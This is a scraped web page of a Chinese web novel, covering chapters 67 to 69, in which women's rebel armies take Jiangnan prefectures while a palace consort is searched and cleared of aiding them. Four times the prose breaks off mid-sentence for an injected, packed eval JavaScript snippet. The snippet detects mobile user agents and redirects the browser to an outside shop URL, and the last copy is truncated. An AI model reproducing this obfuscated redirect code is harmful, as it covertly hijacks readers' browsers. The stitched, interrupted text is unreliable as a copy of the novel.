“如此大逆不道之徒,必须镇压!”皇极殿上,沈思远愤怒地咆哮,“陛下,臣以为应当派重兵将她们镇压,凡参与谋逆者一律诛九族,如此才能震慑心怀不轨之人。” 他很生气,自己刚从两江总督升为内阁大学士不久,江南省就发生叛乱,他这个前两江总督如何不面上无光? 但,他刚刚说完,兵部尚书就站了出来,直接问他:“沈阁老认为该派哪里的重兵?” “哪里不行?”沈思远反问,“莫非你反对镇压叛军?” “下官当然不反对,只是沈大人也实在是不知兵,”兵部尚书反驳,而后直接对着皇帝言明自己的观点,“目前大齐能称之为重兵的,不过云南、陕甘、宣大、东北三处。缅甸时常与我大齐有摩擦,云南驻军动不得,陕甘、宣大自前朝就是防备蒙古的重镇,更是不能再这两处调兵,而东北,不说要西防蒙古、北防罗刹,单说东北总兵,沈大人恐怕也不愿他得战功吧?” 沈思远的脸胀成猪肝色,而龙椅上,皇帝微微皱眉——他也不想让刘顺这一派再有战功了。 “况且从这几处调兵,路途远,耗资巨大,实在是事倍功半之举,”兵部尚书又说,“逆军不过占据了一个小小的松江府,两江本地的将士足以解决,我们给予支援更节省人力物力。” 因为信息差,他们并不知道义军已经占据松江、苏州两府和太仓州。 “臣附议,”次辅应和兵部尚书,“松江路远,从边地派兵确实损耗太大。且此次叛乱涉及众多百姓,单凭重兵镇压,固然可以平叛乱,却难安定人心。分而划之,让她们内部产生分歧,再严惩首恶,才能杜绝此类事端再次发生的可能。” “爱卿具体说说。”皇帝面露好奇。 “人都是有家人的。世上固然有被逼到走投无路对夫君下手的女子,但有几人能对父亲举刀相向?又有谁能真正的舍弃子女?”次辅一副成竹在胸的模样,“我们可以向松江府及江南省其余地区民众宣传,逆贼之道,舍弃亲缘,不认父母不要子女,乃悖逆人伦天理的妖道。如此一来,有子女的妇人必会心怀疑虑,年轻女子也能在家庭的反对下远离逆党。” “爱卿言之有理。” 皇帝采纳了兵部尚书和次辅的意见,接下来就是详细的讨论。 安排结束后,沈思远又说:“陛下,大齐虽不需要派重兵剿灭逆军,却也需要对心有不轨之人做出震慑。臣以为,黄侍读一家以及宁靖伯府,作为逆贼黄琼英的父族和夫族,教养出此等逆徒,又放任其行走外地,与逆党同流合污,应当受到惩罚,让百官引以为戒,严肃子女教育,莫要再教出这等附逆之人。” 皇帝也是这么想的。他愉快地点头,而后下达对黄家和宁靖伯府的惩罚:两家作为逆徒亲眷,全部满门抄斩。 说完镇压义军和惩办朝中相关人员,还有一样东西被提了出来,就是《告大齐女同胞书》。 “陛下,”宋首辅对皇帝说,“写出此文之人对朝局颇为了解,不像是避居江南之人,更像是在京中。” “哦?宋爱卿可有怀疑对象?” 皇帝的问题抛下来的同时,殿内官员都死死盯着宋首辅,生怕他说出自己的名字。 “臣也没有具体的怀疑对象,”宋首辅缓缓摇头,“对陛下暗含不满的官员、有才华但对现状不满的女眷、想要附逆的布衣、其他国家的探子、甚至还有心怀叵测的宗室,都有可能,仅仅一篇逆文,无法确认谁是可疑之人。” 这样一来,劳动的便是锦衣卫了。皇帝当场下令,命京中锦衣卫全体盯梢京中每一处地方。 早朝的圣旨很快就下达各衙门,宫中也都收到消息。沈明珮当天晚饭前就写好密信,让寒露送出宫去。 “娘娘,如今锦衣卫盯着京城各处,我们再送信,会不会有危险?”寒露心中忧虑。 “有些事,再危险也要做,”沈明珮神色郑重,“文佳将军她们为了天下女子的未来举起义旗,我既然有些能力,又怎能坐视不理呢?但你此行也务必小心小心再小心,若有拿不准的时候,慢些行动也无妨,但一定要平安回来。” 勇毅伯府,刘芸收到信后,于第二天中午去了趟明玉楼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286384|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>伯府老夫人去明玉楼,自然进了雅间,受到殷勤的接待。作为贤妃的义妹,宋莲进入雅间拜见老夫人,也是理所应当。 自然不会有人注意到,刘芸离开时,已经把沈明珮的密信交到宋莲手里。 明玉楼在京城生意蒸蒸日上,便想着出京城开分店,宋莲首先瞄准的,就是秋霜也在的江南府。此事已张罗了有一阵子,她派人去江南省考察,合情合理,锦衣卫也挑不出毛病。 出了直隶地界,传信人离开商队,飞速南下,信就这么送了出去。 这日,陈咏真刚检查完松江义军的训练成果,回到曾为松江指挥使府的大将军府,便有亲卫禀报,符掌柜的求见。 “请她进来。”陈咏真说着站起身。 秋霜带着一个匣子和一个信封走进来,关上门,先将信封递给她。 “这是京城的消息,江南省官员应该也已经收到圣旨了,将军最好做好准备。” 陈咏真接过信,看了一遍后,将它扣在桌面上。 “请黄首辅过来,”她命令卫兵,而后对秋霜郑重道谢,“能在这种时候不顾危险传递消息,我不知符掌柜背后是哪位大人,但请容我请你代为转达我的感谢。” 说完,她结结实实地行了一礼。 秋霜不信黄琼英没有将她的主子告诉陈咏真,但这份心照不宣的不知道确实正合她心意。她侧开身子,只受了一半的礼,而后打开匣子。 “这里面有十两金子,是我主子让我给你们的,希望大将军能用它壮大义军。” “我会的。”陈咏真接过匣子。 黄琼英到了大将军府,秋霜告辞,留两人就皇帝的命令商讨对策。 两江总督府内,两江总督接到圣旨,两眼一黑。 “逆军已经占据松江府、苏州府、太仓州三处了!”他顾不得礼节,倒豆子一般将现状说给天使,“我先前派常州驻军攻打苏州,结果大败而归,她们绝对有知兵之人!” 天使也蒙了。当初传到京城的消息是义军占据松江府,怎么这么快大齐就又丢了一府一州?若是早知如此,皇帝绝不会做出现在的安排。 但哪怕是他立刻返京,从金陵到京城也需要时间。 “你一定要撑住,”他拍了拍两江总督的肩膀,“我现在就回京,一定以最快速度把情况告知陛下。你给我匹马。” 天使骑着马跑出金陵府城。他从京城到金陵这一路并不顺,在徐州府时,他的马莫名其妙死亡,他自己也水土不服,不得不休养了一天半,再重新找了匹马。踏上回程之路后,他也有些心神不宁,催动马以最快的速度奔跑。他的预感没有错,走到金陵、扬州两府交汇之处时,一小伙拿着武器、流寇打扮的人将他围住。 一个手无寸铁之人对上数个拿着武器的壮汉,天使的结局可想而知。等他彻底昏迷,为首之人将他捆起来,堵住嘴,拖着他带队离开。 “夫人当真厉害,前头能把天使和他的马药倒,现在能把天使活捉。”这伙人在一辆马车前停下,摘下面罩,赫然是原太仓州通判夫人的家丁。他们换下流寇衣服,扮成商人模样,将天使扔进马车中,像真正的商队一样返回太仓州。 当天夜里,义军突袭常州府,刚刚大败亏输的常州没有足够兵力,此番直接易主。 67. 斗法 “唐招娣,你给我出来!” 原大齐松江府衙,现义军首辅兼松江府知府衙门门外,一个中年妇人带着一群人站成一排,堵住门口不让人进出。 守门的卫兵见状,劝她们进衙门里,有话好好说,被这中年妇人蛮横地推开。 “唐招娣,你给我滚出来!”她说罢,竟然直接坐到地上嚎啕大哭,“我家这个不孝女啊,从小就不听我和她爹的话,好不容易嫁出去了,老实了,这什么文佳将军一出来,她竟然杀了她的夫家,然后当了个官就对自己爹娘不管不顾啦!” 卫兵想将她拉起来,她使着劲不动弹,一边哭一边挥舞手臂:“杀人灭口啦!我就说那个文佳将军不是好东西,谁家好人会用抛家弃子的女人啊!” 她哭喊的声音很大,陆陆续续吸引来不少围观之人,卫兵看在眼里,心中焦急。 好在有人穿过人群,走到这妇人面前,使出大力气把她拽起来:“我听我家阿久提起过你们,天底下怎么有你们这种爹娘!以往不管女儿死活就罢了,现在女儿发达了,还要把她拉下来,你们还有良心吗?” 这后来的人正是王阿久的母亲。王阿久在攻占苏州一役中立功,秋霜将她引荐给陈咏真,战役结束后她就得了官职。一做上官,她就给父母重新修了房子,现在她父母因为她日子好过了很多。 王阿久的母亲一边架着刘招娣的母亲一边说:“乡亲们,城东那个张屠户你们都认得吧?他把第一个媳妇打跑了,然后这老虔婆和她男人收了钱就把她姑娘嫁过去了,没两年就拿着这钱给儿子娶了媳妇。当初女儿被张屠户打得快死了他们也不管,现在人家一杀了张屠户一家,得了官,他们一边指责她杀夫,一边又让她将薪俸全交到家里。乡亲们,你们评评理,有什么做人父母的吗?” 围观之人有的摇摇头,转身离开。还想接着往后看的多数也面露不认同之色。 唐招娣站在官衙门前,看着王阿久的母亲为她打抱不平,眼中蓄起泪水。她是当日第一个响应陈咏真,杀死丈夫和公婆的,因此也不时会听见一些流言,说她是靠献祭夫家上位。此时此刻,终于有人,还是她同伴的母亲,说出她的苦难。 见自己母亲又要扑腾,她快速走上前:“你们当初不是说我嫁出去就与你们无关,是死是活都不要找你们了吗?” 唐母顿了顿,而后振振有词道:“我们就是说说而已,你还真不管了?有你这么做女儿的吗?” “你想要什么?”唐招娣打断她。 唐母眼睛亮了:“你已经当官了,也得让你弟弟当官啊,他怎么能比你差呢?” 唐招娣纵使再清楚自己父母离谱,此刻也黑了脸:“大周官吏由选拔而来,你们是要我触犯律法吗?” “选拔?什么样的选拔能全是女的当选?你别骗我,这里面肯定有猫腻!”唐母大声嚷嚷,“我告诉你,那是你弟弟,你必须让他当上官,不行就把你自己的官给他!” 全场震惊,就连随唐母一起来的人也目瞪口呆地看着她。 唐母仍是理直气壮,梗着脖子说:“你现在夫家没了,以后就得靠你弟弟,把官给他做他也能对你和你儿子好不是?” 说着,她向人群后面招手,一个男孩钻过人群闯了进来。他脸色阴沉,见到唐招娣就一脸仇恨的扑上去。 “坏女人!杀了我爹的坏女人!” 见他要打唐招娣,卫兵将他控制住。 唐招娣笑了:“这种视我为仇敌的儿子我可不敢认,至于你们,诋污蔑大周选官不公,妄图祸害大周政局,且不说早就与我断绝关系,就算还是我的家人,我为了大周安定,也要大义灭亲!” “说得好!”人群中响起威严的声音,随后一队兵士冲过来,拨开围观群众,将闹事之人团团围住。 说话之人正是黄琼英,她身后还跟着一队全副武装的士兵,她身边的女兵押着一个男人,见黄琼英停下脚步,狠狠踢了一下男人的膝窝。男人一下子跪在地上,卫兵抓着他的头发,拽着他的脑袋,让他直视唐母。 “唐老太太,你可认得此人?” 唐母看到被抓的人,面露慌乱。另一个卫兵走上前,将一个布兜打开,把里面的东西倒在地上。碎银子立刻洒了一地。 “乡亲们,此人是大齐派来的奸细,收买对大周心怀不满之人,让他们攻击我们,动摇人心。唐招娣的父母弟弟就在他们收买的对象中,”黄琼英站到人群中央,高声道,“唐老太太,二十两银子拿得痛快吗?你的丈夫和儿子怕承担风险,让你站出来胁迫你的女儿,你就这么不惜一切代价地攻击她、威胁她,可你知道你的丈夫和儿子在被捕后是怎么说的吗?他们说拿钱办事是你一个人的主意,他们毫不知情,求我们处死你,放了他们。你视他们为心肝,他们视你为用后即弃的工具,你说你可不可笑?” “他们确实不知情,”唐母嘴唇颤抖,半晌后才说,“我要杀要剐随你们便,你放了他们。” 她身后,唐招娣放声大笑。 知不知情当然由不得唐母说了算,一家人很快整整齐齐地跪在一起。奸细收买的其他人也都被抓到衙门前,连同奸细本人,一并被黄琼英下令处死。 行刑完毕,黄琼英命人将数块巨大的木板抬出来排成一排,木板上赫然是参加官员选拔的每个人的试卷以及参加胥吏选拔的每个人的基本资料。 唐母“选拔有猫腻”的谣言立刻被打破,因为不论是官员选拔还是胥吏选拔,都压根没有男人报名——义军刚成立,大多数人都认为她们不会撑多久,虽然心中支持,但也不愿意冒着杀头的危险加入义军,来报名的大多是本就走投无路的女子,至于男子,更是有不少盼着大齐赶快将义军剿灭,结束女子在家中不再看他们眼色的日子,绝无报名加入的可能。 “我大周选拔官吏,绝对公平公正,欢迎各位监督!”黄琼英说完,返回官衙中,围观群众渐渐散去。 金陵府城内,江南巡抚见自己派出去的人有去无回,脸色灰败地去了总督府。 “废物!”两江总督怒骂,而后沉默地靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287478|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在椅背上。 “大人,我们可要再出兵镇压她们?”江南巡抚试探着问。 两江总督派人将两江总兵和江南都指挥使请来。四人商议了小半天,最终决定,集结江南省其余地区兵力,镇压义军。 金陵城的军事调动没能逃过探子的眼。自称陈咏真叛乱后就来姑妈家逃命的女工乔装打扮后混出金陵城,将消息传回松江。 “赌一把吧,”义军高层会议上,陈咏真拍板,“我率兵在常州抵挡齐军,再出一半兵力北上。” 她说着,将手指指向长江以北的地区。 “我会尽全力拖住齐军,你们全力进攻,至少拿下通州、扬州。进攻时留心齐军动向,做好由攻转防的准备。” 陈咏真是这么说的,也是这么做的。江南都指挥使亲自带兵攻打常州时,她站在新搭建好的防御工事后,与齐军展开火拼。齐军一波波冲锋而上,都被他们看不起的女兵打了回来。 常州一线战事胶着时,陈咏真麾下两位将军已经攻破通州州城,将所有官员斩杀,没有放出去一个可能通风报信的人。她们留下一个高级军官和一队义军管理通州,顺带收了海门厅,而后马不停蹄地继续北上。 金陵收到义军北上的消息时,扬州府已经快撑不住了。两江总督与两江总兵匆忙榨出最后一点可用的兵力派往扬州,随后派传令官直奔常州战场,命江南都指挥使撤军。 江南都指挥使接了命令,却发现他已经撤不了了。陈咏真死死拖住了他,见他们有撤退之势,竟然派兵从左右两翼将他们包抄。他们的退意让他们瞬间沦为防守的一方。 “你回去告诉总督和总兵两位大人,我们退不了了,”江南都指挥使也是当机立断,“我会尽全力争胜,也请两位大人做好准备!” 派去扬州的少得可怜的兵力没能起到什么作用,义军最终还是攻下了扬州。之后,这支义军没有像最初约定的那样北上,反而南下,直取镇江。 江南指挥使本就与陈咏真僵持不下,背部又遭强攻,不得不分兵作战。陈咏真察觉齐军攻势减弱,很快分析出局势,命令手下义军强攻。 前后夹击之下,齐军纵然全力抵抗,依旧不敌义军,最终全军覆没。陈咏真一枪崩了江南都指挥使后,举着手铳号召义军前进。 一鼓作气,再而衰,三而竭。已到极限的义军凭借强大的意志力坚持下来,行过镇江府,冲进金陵府。 两次发兵已经让金陵府布防彻底空虚,义军一路畅通无阻,竟然直接冲进金陵府城。 金陵知府知晓义军的行事作风,带着全家老小自尽,府同知及以下官员见大势已去,除个别效仿知府外其他向义军投降。 义军遍查整座金陵城,也没有找到两江总督、两江总兵和江南巡抚。大敌来临前,他们就可耻地逃了。紧邻金陵的滁州、和州两州知州同样弃官而逃,滁州立刻有女商派人给义军报信,和州更是有一伙胆大女子直接偷袭大营,拿下和州,归附义军旗下。 至此,义军已占据六府四州。 68. 搜宫 皇帝在天使逾期未归后终于认识到不对。 “怎么可能?”他喃喃自语,“那些女人怎么可能打得过大齐的将士?” 女工们在举义前往往干着最多的活,吃着最差的饭菜,有的还常遭家里虐打,只论身体素质,确实远不如受百姓供养的士兵。但士兵的身体素质绝不是决定战争胜败的唯一因素。 皇帝思考间,乾清宫的一个守门太监走进来,通报皇后请见。 “让她进来。”皇帝立刻回神。 皇后走进来,她身后还跟着沈美人沈明珂。 沈明珮正在午睡,忽然听见长春宫内吵吵闹闹。她睁开眼,坐起身,看见一群太监闯进她的正殿。 “你们是什么人?”她厉喝,“谁让你们进来的?” 为首的太监拿出代表司礼监掌印的身份令牌,远远地晃了一下就又收了回去。 “司礼监办案,”他面对沈明珮依旧是趾高气扬,“奉陛下之命,搜查长春宫!” 沈明珮铁青着脸,在寒露的搀扶下,看着这群司礼监太监搜宫。在皇命的撑腰下,他们搜得极其暴力,宫中摆件被他们随意扔到地上,脆弱的都摔了个稀碎。收拾在箱笼里的东西被他们扔在殿内各处,沈明珮亲眼看见她一直没舍得用的一匹云锦被搜查的太监重重踩了一脚,印上了鞋印子。 她死死抓着寒露的手腕,才生生咽下这口气。 长春宫被翻得没有原本模样的时候,皇帝皇后带着沈明珂进来了。 “陛下让人这么大张旗鼓地搜宫,可是妾身犯了什么事?”哪怕对着皇帝,沈明珮也还是显露出不满。 “姐姐你还是快认了错吧,”见皇帝久久不语,沈明珂站出来,摆出一副好言相劝的模样,“这等杀头大罪,你认了错,至少能死得轻松些啊。” “你倒是说说,我犯了什么杀头大罪?”沈明珮逼问沈明珂,“你这个做妹妹的可真是与众不同,姐姐没有罪也要硬按一个罪名,到底是姐妹还是仇人啊?” 她满是杀意地直视沈明珂的双眼,沈明珂心中一跳,不自觉地向后退去。 皇后抵住了沈明珂的后背:“贤妃既然不见棺材不落泪,那就让司礼监好好搜吧。” 过了一会儿,为首的太监拿着一个账本走过来,身后还跟着一个拿着匣子的小太监。 “陛下,搜到了,”他说,“里面少了二十两金子。” “贱妇!”皇帝一个巴掌删到沈明珮脸上,随后就要下令,“沈氏通敌,废除……” “陛下!”沈明珮打断他,“妾的母亲什么时候是敌了?我兄长为大齐打生打死,我给我娘二十两金子,你就说我通敌?” “你还敢狡辩!”皇后厉喝,“明明是你给江南叛军金子,跟刘氏有什么关系?” “你放屁!”沈明珮冲到司礼监掌印面前,抢走账本,翻到当日记录支出二十两金子的那一页,直接糊到帝后眼前,“睁大你们的眼睛好好看看,你们家往这叫通敌!” 她似乎气疯了,忘了其实在场四人都是一家的。 “沈氏,你放肆!”被这般顶撞,皇帝很是不悦。 “我就放肆怎么了,屎盆子都扣我脑袋上了我管你放不放肆呢!”沈明珮双眼喷火,“今天必须得说明白,我给我娘二十两金子,怎么就通敌了?是陛下你赏的金子我不能用,还是说你们认为我有未卜先知之能,今年正月就知道江南会有叛乱?” 沈明珮带着熊熊怒火,气势上竟然压倒了帝后加上沈明珂三个人。 皇后深呼吸数下,又问道:“你给刘氏金子做什么?” 虽然依旧是盘问,但已经没有最初那么咄咄逼人。 “皇后娘娘觉得我能做什么?当然是打首饰啊,”沈明珮依然夹枪带棒,“沈总督苛待我娘和我妹妹这么多年,我趁着我妹妹要成婚了,给她俩打点首饰,有什么问题吗?” 逻辑上确实没什么问题,就是怼得皇后非常难受。 皇后看向皇帝,将球踢了出去:“陛下,接下来该怎么办?” “你去北镇抚司,让北镇抚使带人搜查勇毅伯府。”皇帝面色沉沉,命令司礼监掌印。 于是刘芸和沈明玥午休刚过,正要进行下午的课业,就有一群锦衣卫闯了进来。 “陛下有令,搜查勇毅伯府,若有冒犯还请老夫人见谅。”北镇抚使倒是比司礼监掌印有礼貌很多,打了招呼才让手下搜查。 锦衣卫的搜查非常细致,伯府内每一处角落都翻得彻彻底底。但直到最后他们也没翻出什么有用的东西,只翻出了沈明珮说的,给刘芸和沈明玥打的首饰。 他端着装首饰的盒子,问刘芸:“在下可否将这些东西呈给陛下?” “可以,”刘芸应允,“只要陛下能相信我勇毅伯府就好。” 北镇抚使得了应允,在司礼监掌印的引领下低着头进了长春宫。 “禀陛下,”他将首饰盒子呈上去,“臣只找到了金饰,并未搜到其他通敌证据。金饰有狄髻冠一个,头面一副,其重量算上损耗符合二十两。” “不可能!”沈明珂尖叫,“她不可能没通敌!” 皇帝示意司礼监掌印打开匣子,狄髻冠和头面映入眼帘。狄髻冠是金镶宝石的,雕的是凤鸟花卉,头面也是金镶宝石的,符合沈明玥准世子妃的身份,包含六瓣花钿、凤鸟分心、凤凰云头掩鬓、凤凰牡丹满冠、牡丹花挑心、草虫簪、花头簪、葫芦耳坠一整套配件,看样子还是全新的,从来没戴过。 至此,一切证据都显示沈明珮没有通敌。 “是朕错怪贤妃了,既然没有通敌,朕也该回去处理政事了。”皇帝心中尴尬,干巴巴说完就想离开。 “然后呢?”沈明珮不依不饶,“妾就这么白被错怪吗?” “那你想怎样?”皇帝面露不耐。 当今这位皇帝有个很明显的性格特征,就是面子比天大,哪怕他确实有错,并且承认自己错了,也不能由下面的人提出来。对官员他尚且有所收敛,对妃嫔他就是连演都不演了。昔日何美人就是因此遭了厌弃,现在皇帝又到了发作的边缘。 皇后也清楚这点,见沈明珮即将触雷,心中窃喜。 “贤妃妹妹,陛下已经承认错怪你了,你还想要什么呢?”她火上浇油。 “是谁同陛下说妾通敌的?”沈明珮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299615|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛终于洗刷了天大的冤屈一般,眼圈说红就红,满脸委屈,“今日是妾运气好,为陛下效力的大人们公正严明,才没有含冤而死,可是那诬陷妾的人就是冲着妾的性命来的。这种妄图蒙蔽陛下、陷害她人、扰乱后宫之人,难道不应该被处置吗?” 皇帝依旧心烦意乱,但沈明珮的话给了他一个发泄的出口。 都是有心怀不轨之人蒙骗他,妄图借他的手除去敌人,怎么能是他的错呢? “皇后,朕记得,是沈美人说贤妃通敌的吧?”他语气不善地问皇后。 “回陛下,确实如此,”皇后语气迟疑,额头渗出汗珠,“但沈美人也是关心则乱,求陛下看在她为了大齐的份上饶她一马。” 沈明珮当然不愿意此事不了了之,但她也知道,此时不宜再逼迫皇帝。她沉默片刻,缓缓跪到地上。 “妾此番固然委屈,但陛下若是为了大齐,不追究沈美人的过错,妾不论多难过也会接受。”泪水顺着她的脸颊流下来,她没有大闹,只双眼无神、面色灰败地叩首。 沈明珂自从沈明珮被认定没有通敌后,心就一直悬着,见皇后为她说情,沈明珮又同意不再追究后才放下来。 但紧接着,她就听到皇帝说:“沈美人陷害主位,降为选侍。皇后,朕已如你所愿,饶了她一命,她便继续住在坤宁宫,由你管教吧。” 沈明珂瘫倒在地。选侍,九品,在宫中是谁都能踩一脚的存在。皇帝即位以来,就连宫女都得封八品宝林,还从没有人被封为选侍。她本就无宠,这下子更是彻底完了。 “陛下!”她扑到皇帝脚边,一脸哀切,正要为自己求情,皇帝将她一脚踢开。 司礼监太监不用皇帝命令,主动上前将她拖走。 “皇后,后续事情你来处理。”皇帝说罢,拂袖而去。 见皇帝离开,再没有外人,皇后也收起温婉的笑脸,带着人径自离去。 稍晚一会儿,一伙宫人来到长春宫,打扫一片狼藉的正殿。损失的物件很快都清点出来,对于损坏的摆件,宫里很快派人将新的送来,但皇帝赏赐之物,坏了也就坏了,宫里是不补的。这一番折腾下来,沈明珮损失惨重。 长春宫一收拾好,沈明珮就给勇毅伯府递了信,信照例要经皇帝的手,但信里面除了对飞来横祸的抱怨和对勇毅伯府的关切外再无其他。 刘芸接了信,按惯例转译成全然不同的内容,沈明玥如今也担起责任,和刘芸一同阅读信件。 “支援江南女工?我有办法!”沈明玥自告奋勇,“我从兄长和舅舅那里知道了一些武器的构造,应该能对她们有帮助!” 说着,她立刻拿起笔,在纸上写写画画,当真画出了一些武器的构造图。刘芸将这些图纸放在信封内,装在食盒中,让沈明玥晚上去明玉楼买吃食。 蒙受无妄之灾的勇毅伯府女眷去京城最大的饭庄买吃食压惊,这很合理。没人知道沈明玥会借此机会让宋莲传信松江,就像没人知道勇毅伯府院中松树下深处埋着二十两金子一样。 松江府,陈咏真整顿完新占领地区,让义军休整完毕,正思考今后的规划,横财从天而降。 69. 让步 皇帝向江南省派了新的官员。 官员任务紧急,快马加鞭直奔金陵而去,一进城就被抓了起来。 两江总督、两江总兵、江南巡抚一行人退到安庆府才停下来。他们怕皇帝问罪,不敢向京城说明情况,以安庆为临时省江南首府筹划反击。 结果当然是一败涂地。 江南省征兵的过程中,义军以雷霆之势攻占淮安府、海州,之后召集占领地区所有的工匠,建立了一个小型兵器厂。 随着第一件轻火器和重火器相继在兵器厂内诞生,义军顿时有了倚仗,作战时不再吝于热兵器的使用,匆忙集结的江南军面对火器的洗礼,自然是兵败如山倒,不仅没能收复失地,还让义军夺走了广德州和太平府。 无奈之下,两江总督和两江总兵终于联名上书皇帝,请求支援。 皇帝终于知晓江南的真实情况,就得知义军已经占了半个江南省。他气得将桌案上的东西全都扫落到地上。 “废物!蠢货!”他怒不可遏,恨不得直接将这三人满门抄斩。 还是赵德光胆子大,顶着皇帝的怒火给他上了杯茶。 “陛下,您消消气。” 皇帝将茶水一饮而尽,缓了一会儿,才平静下来。 没有与其他人讨论,政令直接从乾清宫飞出京城。河南都指挥使、山东都指挥使奉命剿灭义军。 两省军队借道徐州府,让过海州,直击淮安府。义军在外省没有探子,未能提前察觉进攻。驻守淮安府的将军一边派人传信松江府,一边率领义军抗敌。 齐军的兵力固然是多于义军的,但义军将士都知道自己一旦战败就是必死无疑,无比顽强地抵抗齐军。淮安府并入义军治下也有小段时日,女子们少了头顶的大山,日子过得舒坦,自然不想再回到过去的日子里,纷纷支援义军。 众人齐心协力之下,淮安义军撑到了陈咏真率领的援军到来。 这一战也是检验大周兵器厂工艺水平的一战。新鲜出炉的火器装备在每个援军士兵的身上,与大齐边军等同,河南山东两省远离战事,装备落后一等,又与淮安义军苦战日久,在援军的反击下居然当真输了。 两省军队雄赳赳气昂昂地来,丢盔卸甲地走,义军趁机抢占了徐州府和河南最南端的汝宁府。 再占两府后,义军暂停扩张,休养生息,并全面强化已有地区布防。 河南都指挥使、山东都指挥使将惨败经过告知皇帝,皇帝来不及严查边军装备泄露之事,蒙古人又来扰边了。这一次,还是从两个方向出手。 锦衣卫奉命将京城翻了个底朝天,终于揪出蒙古探子,其余蒙古商人也被赶出大齐。 在这种时候,皇帝终于又踏进长春宫。 自从上次搜宫无果后,沈明珮与皇帝的关系一直都很僵硬。阖宫上下都知晓皇帝冤枉了她,偏偏皇帝本人面子高于一切,明明知道自己理亏,还直接冷落沈明珮,让她失了宠。 此番他驾临长春宫,沈明珮名下的宫人都喜出望外。 沈明珮倒并无狂喜之色,与往日一样谦恭地行礼:“妾见过陛下。” “起来吧。”皇帝示意她起来,而后走到她身侧,同她一起进殿。 “陛下驾临长春宫,可是有什么事?”眼下不过下午,离用晚膳都还有些时间,并不是皇帝惯常进后宫的时候。 “朕没事就不能来了吗?”皇帝笑着说了她一句,而后正色,直奔主题,“江南叛军前日击败了河南、山东两省联军,现已占据半个江南省和河南的汝宁府。” 沈明珮面露惊色:“怎会如此?” “是啊,怎会如此,”皇帝说着说着便是一脸震怒,“因为有国之蠹虫将我大齐最先进的武器泄露给了贼首!” “怎会如此!”沈明珮震惊。 皇帝仔细观察沈明珮,见她连每个发丝都是再正常不过的震惊和愤怒,将心中的怀疑压下。 “朕本欲彻查兵部和边军,偏偏蒙古也在此时侵扰陕甘、宣大和东北,调查不得不暂时放下,转为彻查蒙古探子。”他接着说。 “哦,”沈明珮点点头,“那陛下查出来了吗?” “查出来了。”他回答。 “查出来就好,”沈明珮面露笑容,“这样蒙古对大齐的威胁就小了。” 皇帝沉默片刻,又说:“朕现在有一事拿不定主意,不知爱妃可否愿意为朕解惑。” “啊?”沈明珮面露不解,“陛下圣明,何需妾一个小小的妃嫔解惑?” “朕想派你的兄长去镇压叛军,”皇帝接着说,“但是蒙古扰边,朕又担心将你的兄长调走后吉林对阵蒙古不利。” 沈明珮变了脸色。她站起身,走到皇帝面前,跪了下来。 “陛下不该问妾身这个问题,”她一脸严肃地仰视皇帝,“后宫不得干政,这种大事本就不该说给妾身一个妃子听。何况陛下您向来决断如流,又有各位大人们出谋献策,何必专门来问妾呢?” 沈明珮的知进退让皇帝很满意,他面色更加温和,温声道:“爱妃不必妄自菲薄,朕让你说,你直说便是。” 沈明珮站起身,坐回到原本的位置,做出思考状,片刻后才说:“在陛下看来,向内部叛军退让和向外敌退让,哪个更不能让您接受?” 皇帝一时答不上来。 沉默了一会儿,他才缓缓说道:“以常理而言,输给外敌固然更加耻辱,但朕若是向一个女人退让,同样是羞耻至极。” 沈明珮垂下眼帘,掩盖住眼底的讽刺。 “向外敌退让,最坏会导致什么结果,向叛军退让,最坏又会导致什么结果,陛下心里可有数?” “哦?看来爱妃是觉得朕应该向那个女人低头了?”皇帝的语气里俨然多了些不善。 沈明珮摇了摇头:“陛下,自古以来,对叛逆者最大的退让不过是招安,但若是不敌外敌,割地赔款也不是没有过,妾身不过是两害相权取其轻而已。况且这也不过是妾一家之言,陛下心中也应当有决断了才是。” “两害相权取其轻,”皇帝轻笑,“好一个两害相权取其轻,那爱妃以为朕应该退到哪一步?” 这一次,沈明珮没有再回答。 “陛下可是在为难妾?”她嗔道,“这明明该是大人们该解决的问题,陛下问妾,妾怎么知道?” “确实,为难爱妃了,”皇帝眉目舒展,站起身来,“朕还要处理政事,晚上再来看你和宏澈、静淑。” 沈明珮像往日一样将他送出长春宫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 